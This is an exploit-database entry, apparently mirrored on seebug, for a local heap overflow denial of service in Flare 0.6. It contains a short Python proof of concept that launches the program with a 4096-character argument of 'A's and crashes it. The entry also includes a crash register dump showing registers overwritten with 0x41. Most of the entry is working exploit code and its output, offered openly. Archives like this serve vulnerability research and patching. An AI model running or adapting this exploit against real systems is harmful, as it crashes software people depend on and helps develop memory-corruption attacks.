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Flare <= 0.6 - Local Heap Overflow DoS

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 8 Views

Flare version 0.6 has a local heap overflow vulnerability causing Denial of Service attacks.

Code

                                                # Exploit Title: Flare &#60;= 0.6 local heap overflow DoS
# Date: 3/7/2010
# Author: l3D
# Software Link: http://www.nowrap.de/download/flare06doswin.zip
# Version: 0.6
# Tested on: Windows 7, Windows XP SP2 and some linux distributions
# Code:

#!/usr/bin/env python
#IRC: irc.nix.co.il&#60;http://irc.nix.co.il&#62;
#Site: xraysecurity.blogspot.com&#60;http://xraysecurity.blogspot.com&#62; &#60;---- Coming soon!

#Registers:
#EAX 003E0000
#ECX 003E1088 ASCII &#34;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...&#34;
#EDX 41414141
#EBX 00004141
#ESP 0022FB0C
#EBP 0022FBDC
#ESI 003E1080
#EDI 41414141
#EIP 77195B44 ntdll.77195B44

import os, sys

if len(sys.argv) != 1:
    path=sys.argv[1]
else:
    path=&#39;flare.exe&#39;

if not os.path.exists(path):
    print &#39;Usage: python %s [path to flare.exe]&#39; % sys.argv[0]
    exit(-1)

os.execl(path, path, &#39;A&#39;*0x1000)


                              

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